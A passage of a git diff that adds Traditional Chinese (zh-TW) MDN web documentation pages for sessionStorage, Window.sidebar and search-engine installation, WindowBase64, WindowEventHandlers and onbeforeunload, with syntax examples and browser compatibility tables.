+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Background Tasks')}}</td>
+   <td>{{Spec2('Background Tasks')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(47)}}</td>
+   <td>{{CompatGeckoDesktop(53)}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(34)}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(47)}}</td>
+   <td>{{CompatChrome(47)}}</td>
+   <td>{{CompatGeckoMobile(53)}} [1]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] <code>requestIdleCallback()</code> is implemented in Firefox 53 but is disabled by default; to enable it, set the preference <code>dom.requestIdleCallback.enabled</code> to <code>true</code>. It is enabled by default starting in Firefox 55.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("window.cancelIdleCallback()")}}</li>
+ <li>{{domxref("IdleDeadline")}}</li>
+ <li>{{domxref("window.setTimeout()")}}</li>
+ <li>{{domxref("window.setInterval()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/window/sessionstorage/index.html b/files/zh-tw/web/api/window/sessionstorage/index.html
new file mode 100644
index 0000000000..696367e872
--- /dev/null
+++ b/files/zh-tw/web/api/window/sessionstorage/index.html
@@ -0,0 +1,94 @@
+---
+title: Window.sessionStorage
+slug: Web/API/Window/sessionStorage
+tags:
+  - API
+  - Property
+  - Storage
+  - WindowSessionStorage
+  - localStorage
+translation_of: Web/API/Window/sessionStorage
+---
+<p>{{APIRef()}}</p>
+
+<p><code>sessionStorage</code> 屬性能讓開發人員訪問當前 origin 的 {{DOMxRef("Storage")}} 物件。<code>sessionStorage</code> 跟 {{DOMxRef("Window.localStorage", "localStorage")}} 很相似：唯一不同的地方是存放在 <code>localStorage</code> 的資料並沒有過期的時效；而存放在 <code>sessionStorage</code> 的資料則會在頁面 session 結束時清空。只要該頁面頁面(頁籤)沒被關閉或者有還原(restore)該頁面，資料就會保存。<strong>開啟新頁籤或視窗會產生一個新的sessionStorage</strong>，跟Session與Cookies的做法不大一樣。
+
+</p>
+
+<p>另應該注意：不論資料放在 <code>sessionStorage</code> 還是 <code>localStorage</code>，都被<strong>限制在該網站的規範內，其他網站無法存取</strong>。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="brush: js">// 將資料存到sessionStorage
+sessionStorage.setItem('key', 'value');
+
+// 從sessionStorage取得之前存的資料
+var data = sessionStorage.getItem('key');
+
+// 從sessionStorage移除之前存的資料
+sessionStorage.removeItem('key');
+
+// 從sessionStorage移除之前存的所有資料
+sessionStorage.clear();
+</pre>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>一個 {{DOMxRef("Storage")}} 物件.</p>
+
+<h2 id="範例">範例</h2>
+
+<p>下面簡短的程式碼，訪問了當前域名下的 session {{DOMxRef("Storage")}} 物件，並使用 {{DOMxRef("Storage.setItem()")}} 添加了資料單元。</p>
+
+<pre class="brush: js;">sessionStorage.setItem('myCat', 'Tom');</pre>
+
+<p>以下提供的範例為將文字輸入元件的內容自動保存，如果瀏覽器不小心重新整理，在頁面恢復後，會自動將內容還原，不會造成尚未送出的資料被清空。</p>
+
+<pre class="brush: js">// 取得我們要保留內容的text field元件
+var field = document.getElementById("field");
+
+// 檢查是否有之前的<strong>autosave</strong>的內容
+// 這段程式碼會在瀏覽器進入該頁面時被執行
+if (sessionStorage.getItem("autosave")) {
+  // 還原先前的內容到指定的text field
+  field.value = sessionStorage.getItem("autosave");
+}
+
+// 註冊事件監聽text field內容的變化
+field.addEventListener("change", function() {
+  // 並儲存變化後的內容至sessionStorage的物件裡
+  sessionStorage.setItem("autosave", field.value);
+});</pre>
+
+<div class="note">
+<p><strong>備註</strong>: 完整的範例可參考這篇文章: <a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Using the Web Storage API</a>。</p>
+</div>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規格</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'webstorage.html#dom-sessionstorage', 'sessionStorage')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{Compat("api.Window.sessionStorage")}}</p>
+
+
+<h2 id="相關內容">相關內容</h2>
+
+<ul>
+ <li><a href="/zh-TW/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Using the Web Storage API</a></li>
+ <li>{{domxref("Window.localStorage")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/window/sidebar/adding_search_engines_from_web_pages/index.html b/files/zh-tw/web/api/window/sidebar/adding_search_engines_from_web_pages/index.html
new file mode 100644
index 0000000000..020f1be65e
--- /dev/null
+++ b/files/zh-tw/web/api/window/sidebar/adding_search_engines_from_web_pages/index.html
@@ -0,0 +1,35 @@
+---
+title: 自網頁添加搜尋引擎
+slug: Web/API/Window/sidebar/Adding_search_engines_from_Web_pages
+tags:
+  - 搜尋模組
+translation_of: Web/OpenSearch
+---
+<p>Firefox 可以用 JavaScript 安裝搜尋引擎模組，且支援 <a href="zh_tw/%e8%a3%bd%e4%bd%9c_OpenSearch_%e6%90%9c%e5%b0%8b%e6%a8%a1%e7%b5%84">OpenSearch</a> 及 Sherlock 兩種模組格式。
+</p>
+<div class="note"><b>註：</b> 自 Firefox 2 起，偏好的模組格式為 OpenSearch。</div>
+<p>當 JavaScript 程式碼要安裝新的搜尋模組時，Firefox 會詢問使用者是否允許安裝。
+</p>
+<h2 id=".E5.AE.89.E8.A3.9D_OpenSearch_.E6.A8.A1.E7.B5.84">安裝 OpenSearch 模組</h2>
+<p>要安裝 OpenSearch 模組，必須使用 <code>window.external.AddSearchProvider()</code> DOM 方法。此方法的語法為：
+</p>
+<pre class="eval">window.external.AddSearchProvider(<i>搜尋模組 URL</i>);
+</pre>
+<p>其中 <i>搜尋模組 URL</i> 為搜尋引擎模組之 XML 檔的絕對連結 URL。
+</p>
+<div class="note"><b>注意：</b> OpenSearch 自 Firefox 2 起的版本才支援。</div>
+<h2 id=".E5.AE.89.E8.A3.9D_Sherlock_.E6.A8.A1.E7.B5.84">安裝 Sherlock 模組</h2>
+<p>要安裝 Sherlock 模組，必須叫用 <code>window.sidebar.addSearchEngine()</code> 方法，語法為：
+</p>
+<pre class="eval">window.sidebar.addSearchEngine(<i>搜尋模組 URL</i>, <i>圖示 URL</i>, <i>建議名稱</i>, <i>建議分類</i>);
+</pre>
+<ul><li> <code>搜尋模組 URL</code> 參數為欲安裝的 Sherlock 格式檔（「.src」檔）URL。
+</li><li> <code>圖示 URL</code> 參數為此模組的圖示 URL。
+</li><li> <code>建議名稱</code> 參數僅於請求使用者確認安裝模組時才使用，安裝時訊息為「Do you want to install <i>建議名稱</i> from <i>搜尋模組 URL</i>？」
+</li><li> <code>建議分類</code> 參數並不使用，可以指定為空字串（<code>""</code>）或 <code>null</code>。
+</li></ul>
+<p>Sherlock 的相關資訊可參考 <a class=" external" href="http://developer.apple.com/macosx/sherlock/">http://developer.apple.com/macosx/sherlock/</a>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "ca": "ca/Addici\u00f3_de_motors_de_cerca_a_les_p\u00e0gines_web", "en": "en/Adding_search_engines_from_web_pages", "es": "es/A\u00f1adir_motores_de_b\u00fasqueda_desde_p\u00e1ginas_web", "fr": "fr/Ajout_de_moteurs_de_recherche_depuis_des_pages_Web", "it": "it/Installare_plugin_di_ricerca_dalle_pagine_web", "ja": "ja/Adding_search_engines_from_web_pages", "pl": "pl/Dodawanie_wyszukiwarek_z_poziomu_stron_WWW" } ) }}
diff --git a/files/zh-tw/web/api/window/sidebar/index.html b/files/zh-tw/web/api/window/sidebar/index.html
new file mode 100644
index 0000000000..280b5dcce3
--- /dev/null
+++ b/files/zh-tw/web/api/window/sidebar/index.html
@@ -0,0 +1,56 @@
+---
+title: Window.sidebar
+slug: Web/API/Window/sidebar
+tags:
+  - DOM
+  - NeedsTranslation
+  - Non-standard
+  - Property
+  - Reference
+  - TopicStub
+  - Window
+translation_of: Web/API/Window/sidebar
+---
+<div>{{APIRef}} {{Non-standard_header}}</div>
+
+<p>Returns a sidebar object, which contains several methods for registering add-ons with the browser.</p>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>The sidebar object returned has the following methods:</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th>Method</th>
+   <th>Description (SeaMonkey)</th>
+   <th>Description (Firefox)</th>
+  </tr>
+  <tr>
+   <td><code>addPanel(<var>title</var>, <var>contentURL</var>, "")</code></td>
+   <td>Adds a sidebar panel.</td>
+   <td rowspan="2">Obsolete since Firefox 23 (only present in SeaMonkey).<br>
+    End users can use the "load this bookmark in the sidebar" option instead. Also see <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Creating_a_Firefox_sidebar">Creating a Firefox sidebar.</a></td>
+  </tr>
+  <tr>
+   <td><code>addPersistentPanel(<var>title</var>, <var>contentURL</var>, "")</code></td>
+   <td>Adds a sidebar panel, which is able to work in the background.</td>
+  </tr>
+  <tr>
+   <td><code>AddSearchProvider(<em>descriptionURL)</em></code></td>
+   <td colspan="2">Installs a search provider (OpenSearch). <a href="/en-US/docs/Web/API/Window/sidebar/Adding_search_engines_from_Web_pages#Installing_OpenSearch_plugins" title="Adding_search_engines_from_web_pages">Adding OpenSearch search engines </a>contains more details. Added in Firefox 2.</td>
+  </tr>
+  <tr>
+   <td><code>addSearchEngine(<var>engineURL</var>, <var>iconURL</var>, <var>suggestedTitle</var>, <var>suggestedCategory</var>)</code> {{Obsolete_inline(44)}}</td>
+   <td colspan="2">Installs a search engine (Sherlock). <a href="/en-US/docs/Web/API/Window/sidebar/Adding_search_engines_from_Web_pages#Installing_Sherlock_plugins" title="Adding_search_engines_from_web_pages">Adding Sherlock search engines </a>contains more details.</td>
+  </tr>
+  <tr>
+   <td><code>IsSearchProviderInstalled(<em>descriptionURL)</em></code></td>
+   <td colspan="2">Indicates if a specific search provider (OpenSearch) is installed.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Specification" name="Specification">Specification</h2>
+
+<p>Mozilla-specific. Not part of any standard.</p>
diff --git a/files/zh-tw/web/api/windowbase64/index.html b/files/zh-tw/web/api/windowbase64/index.html
new file mode 100644
index 0000000000..804f10ab1a
--- /dev/null
+++ b/files/zh-tw/web/api/windowbase64/index.html
@@ -0,0 +1,113 @@
+---
+title: WindowBase64
+slug: Web/API/WindowBase64
+translation_of: Web/API/WindowOrWorkerGlobalScope
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p>The <code><strong>WindowBase64</strong></code> helper contains utility methods to convert data to and from base64, a binary-to-text encoding scheme. For example it is used in <a href="/en-US/docs/data_URIs">data URIs</a>.</p>
+
+<p>There is no object of this type, though the context object, either the {{domxref("Window")}} for regular browsing scope, or the {{domxref("WorkerGlobalScope")}}  for workers, implements it.</p>
+
+<h2 id="屬性">屬性</h2>
+
+<p><em>This helper neither defines nor inherits any properties.</em></p>
+
+<h2 id="方法">方法</h2>
+
+<p><em>This helper does not inherit any methods.</em></p>
+
+<dl>
+ <dt>{{domxref("WindowBase64.atob()")}}</dt>
+ <dd>Decodes a string of data which has been encoded using base-64 encoding.</dd>
+ <dt>{{domxref("WindowBase64.btoa()")}}</dt>
+ <dd>Creates a base-64 encoded ASCII string from a string of binary data.</dd>
+</dl>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#windowbase64', 'WindowBase64')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change since the latest snapshot, {{SpecName("HTML5.1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', '#windowbase64', 'WindowBase64')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot of {{SpecName("HTML WHATWG")}}. No change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "#windowbase64", "WindowBase64")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot of {{SpecName("HTML WHATWG")}}. Creation of <code>WindowBase64</code> (properties where on the target before it).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatGeckoDesktop(1)}} [1]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatGeckoMobile(1)}}</td>
+   <td rowspan="1">{{CompatVersionUnknown}}</td>
+   <td rowspan="1">{{CompatVersionUnknown}}</td>
+   <td rowspan="1">{{CompatVersionUnknown}}</td>
+   <td rowspan="1">{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1]  <code>atob()</code> is also available to XPCOM components implemented in JavaScript, even though {{domxref("Window")}} is not the global object in components.</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/Web/API/WindowBase64/Base64_encoding_and_decoding">Base64 encoding and decoding</a></li>
+ <li>{{domxref("Window")}}, {{domxref("WorkerGlobalScope")}}, {{domxref("DedicatedWorkerGlobalScope")}}, {{domxref("SharedWorkerGlobalScope")}}, and {{domxref("ServiceWorkerGlobalScope")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/windoweventhandlers/index.html b/files/zh-tw/web/api/windoweventhandlers/index.html
new file mode 100644
index 0000000000..d3d29ddb63
--- /dev/null
+++ b/files/zh-tw/web/api/windoweventhandlers/index.html
@@ -0,0 +1,182 @@
+---
+title: WindowEventHandlers
+slug: Web/API/WindowEventHandlers
+translation_of: Web/API/WindowEventHandlers
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><strong><code>WindowEventHandlers</code></strong> mixin describes the event handlers common to several interfaces like {{domxref("Window")}}, or {{domxref("HTMLBodyElement")}} and  {{domxref("HTMLFrameSetElement")}}. Each of these interfaces can implement additional specific event handlers.</p>
+
+<p><code>WindowEventHandlers</code> is a not an interface and no object of this type can be created.</p>
+
+<h2 id="屬性">屬性</h2>
+
+<p><em>The events properties, of the form <code>onXYZ</code>, are defined on the {{domxref("WindowEventHandlers")}}, and implemented by {{domxref("Window")}}, and {{domxref("WorkerGlobalScope")}} for Web Workers.</em></p>
+
+<dl>
+ <dt>{{domxref("WindowEventHandlers.onafterprint")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("afterprint")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onbeforeprint")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("beforeprint")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onbeforeunload")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("beforeunload")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onhashchange")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("hashchange")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onlanguagechange")}} {{experimental_inline}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("languagechange")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onmessage")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("message")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onoffline")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("offline")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.ononline")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("online")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpagehide")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pagehide")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpageshow")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pageshow")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpopstate")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("popstate")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onstorage")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("storage")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onunhandledrejection")}} {{experimental_inline}}</dt>
+ <dd>An event handler for unhandled {{jsxref("Promise")}} rejection events.</dd>
+ <dt>{{domxref("WindowEventHandlers.onunload")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("unload")}} event is raised.</dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<p><em>This interface defines no method.</em></p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#windoweventhandlers', 'GlobalEventHandlers')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change since the latest snapshot, {{SpecName("HTML5.1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', '#windoweventhandlers', 'GlobalEventHandlers')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot of {{SpecName("HTML WHATWG")}}. Added <code>onlanguage</code> since the {{SpecName("HTML5 W3C")}} snapshot.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "#windoweventhandlers", "GlobalEventHandlers")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot of {{SpecName("HTML WHATWG")}}. Creation of <code>WindowEventHandlers</code> (properties where on the target before it).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onhashchange</code></td>
+   <td>{{CompatGeckoDesktop(1.9.2)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onlanguage</code>{{experimental_inline}}</td>
+   <td>{{CompatGeckoDesktop(32)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onstorage</code></td>
+   <td>{{CompatGeckoDesktop(45)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td rowspan="1">{{CompatUnknown}}</td>
+   <td rowspan="1">{{CompatUnknown}}</td>
+   <td rowspan="1">{{CompatUnknown}}</td>
+   <td rowspan="1">{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onhashchange</code></td>
+   <td>{{CompatGeckoMobile(1.9.2)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onlanguage</code>{{experimental_inline}}</td>
+   <td>{{CompatGeckoMobile(32)}}</td>
+   <td rowspan="1">{{CompatUnknown}}</td>
+   <td rowspan="1">{{CompatUnknown}}</td>
+   <td rowspan="1">{{CompatUnknown}}</td>
+   <td rowspan="1">{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onstorage</code></td>
+   <td>{{CompatGeckoDesktop(45)}}</td>
+   <td rowspan="1">{{CompatUnknown}}</td>
+   <td rowspan="1">{{CompatUnknown}}</td>
+   <td rowspan="1">{{CompatUnknown}}</td>
+   <td rowspan="1">{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{domxref("Window")}} and {{domxref("WorkerGlobalScope")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/windoweventhandlers/onbeforeunload/index.html b/files/zh-tw/web/api/windoweventhandlers/onbeforeunload/index.html
new file mode 100644
index 0000000000..66ba170df5
--- /dev/null
+++ b/files/zh-tw/web/api/windoweventhandlers/onbeforeunload/index.html
@@ -0,0 +1,153 @@
+---
+title: WindowEventHandlers.onbeforeunload
+slug: Web/API/WindowEventHandlers/onbeforeunload
+translation_of: Web/API/WindowEventHandlers/onbeforeunload
+---
+<div>
+<div>{{APIRef("HTML DOM")}}</div>
+</div>
+
+<div> </div>
+
+<p><code><strong>WindowEventHandlers.onbeforeunload</strong></code> 事件处理函数包含的代码将在 {{event("beforeunload")}} 发出时被执行。当 window 准备释放它的资源时，该事件被触发。此时 document 仍然可见，且事件是仍然可被取消的。</p>
+
+<div class="note">
+<p><strong>注意:</strong> 为了避免不必要的弹出窗口，除非页面已经有过互动，否则可能不会显示beforeunload创建的询问窗口。对于特定的浏览器列表，请参阅浏览器兼容性部分。</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">语法</h2>
+
+<pre class="syntaxbox">window.onbeforeunload = <var>funcRef</var></pre>
+
+<ul>
+ <li><code>funcRef</code> 是函数或函数表达式的引用。</li>
+ <li>这个函数应该设置一个字符串到事件对象的 returnValue 属性上，且返回该字符串。</li>
+</ul>
+
+<h2 id="Example" name="Example">示例</h2>
+
+<pre class="brush:js">window.onbeforeunload = function(e) {
+  var dialogText = 'Dialog text here';
+  e.returnValue = dialogText;
+  return dialogText;
+};
+</pre>
+
+<h2 id="注意">注意</h2>
+
+<p>当事件返回了一个非空值时，将需要用户确认是否 unload 页面。在大部分浏览器中，事件的返回值将在对话框中显示。在 Firefox 4 及以后，返回值将不会显示给用户。作为替代，Firefox将会显示"This page is asking you to confirm that you want to leave - data you have entered may not be saved." 请查看{{bug("588292")}}.</p>
+
+<p>Since 25 May 2011, the HTML5 specification states that calls to {{domxref("window.alert()")}}, {{domxref("window.confirm()")}}, and {{domxref("window.prompt()")}} methods may be ignored during this event. See the <a href="http://www.w3.org/TR/html5/webappapis.html#user-prompts">HTML5 specification</a> for more details.</p>
+
+<p>Note also that various mobile browsers ignore the result of the event (that is, they do not ask the user for confirmation). Firefox has a hidden preference in about:config to do the same. In essence this means the user always confirms that the document may be unloaded.</p>
+
+<p>You <em>can</em> and <em>should</em> handle this event through {{domxref("EventTarget.addEventListener","window.addEventListener()")}} and the {{event("beforeunload")}} event. More documentation is available there.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<p>The event was originally introduced by Microsoft in Internet Explorer 4 and standardized in the HTML5 specification.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#windoweventhandlers', 'GlobalEventHandlers')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', '#windoweventhandlers', 'GlobalEventHandlers')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "#windoweventhandlers", "GlobalEventHandlers")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(1.0)}}</td>
+   <td>1</td>
+   <td>4</td>
+   <td>12</td>
+   <td>3</td>
+  </tr>
+  <tr>
+   <td>Custom text support removed</td>
+   <td>{{CompatChrome(51.0)}}</td>
+   <td>{{CompatGeckoMobile("44.0")}}</td>
+   <td> </td>
+   <td>38</td>
+   <td><a href="https://developer.apple.com/library/mac/releasenotes/General/WhatsNewInSafari/Articles/Safari_9_1.html">9.1</a></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>(no) <a href="https://bugs.webkit.org/show_bug.cgi?id=19324">defect</a></td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Custom text support removed</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(51.0)}}</td>
+   <td>{{CompatGeckoMobile("44.0")}}</td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td>{{CompatChrome(51.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See also" name="See also">See also</h2>
+
+<ul>
+ <li><a href="http://msdn.microsoft.com/en-us/library/ms536907(VS.85).aspx">MSDN: onbeforeunload event</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/windoworworkerglobalscope/btoa/index.html b/files/zh-tw/web/api/windoworworkerglobalscope/btoa/index.html
new file mode 100644
index 0000000000..93d63b6010
--- /dev/null
+++ b/files/zh-tw/web/api/windoworworkerglobalscope/btoa/index.html
@@ -0,0 +1,136 @@
+---
+title: WindowOrWorkerGlobalScope.btoa()
+slug: Web/API/WindowOrWorkerGlobalScope/btoa
+translation_of: Web/API/WindowOrWorkerGlobalScope/btoa
+---
